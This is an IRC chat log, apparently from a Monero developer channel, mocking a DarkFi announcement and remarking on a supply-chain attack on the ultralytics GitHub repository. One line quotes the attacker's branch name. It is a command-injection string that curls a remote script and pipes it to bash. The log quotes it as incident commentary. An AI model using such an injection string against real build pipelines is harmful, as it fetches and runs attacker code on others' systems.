07:16:29 <geonic> “We use a mining algorithm called RandomX (Monero uses it as well).” sounds a bit like, “We use a painting technique called Cubism (Picasso used it as well).”
12:15:26 <gingeropolous> "By the time we released the first version of DarkFi in 2023, we realized:" ... wow. musta took some real thinking for these realizations.
12:15:39 <gingeropolous> "First, nodes must have stake at the genesis (or beginning) of the chain, so there must be some token predistribution. "
15:41:52 <hyc> why does anyone need a stake at genesis?
15:42:43 <hyc> oh, they're talking about PoS\
15:45:52 <hyc> the fact that they're still using twitter to announce this stuff is dismaying
16:13:36 <hyc> hm, cute. someone managed to push an executable xmrig binary to github as a blob https://github.com/ultralytics/ultralytics/issues/18027
16:15:06 <hyc> wow, performed by creating a branch with special characters in its name
16:22:16 <sech1> TLDR some of their scripts didn't escape characters and the attacker created a branch with the name "openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)"
16:22:17 <sech1> lol
16:50:02 <hyc> too silly
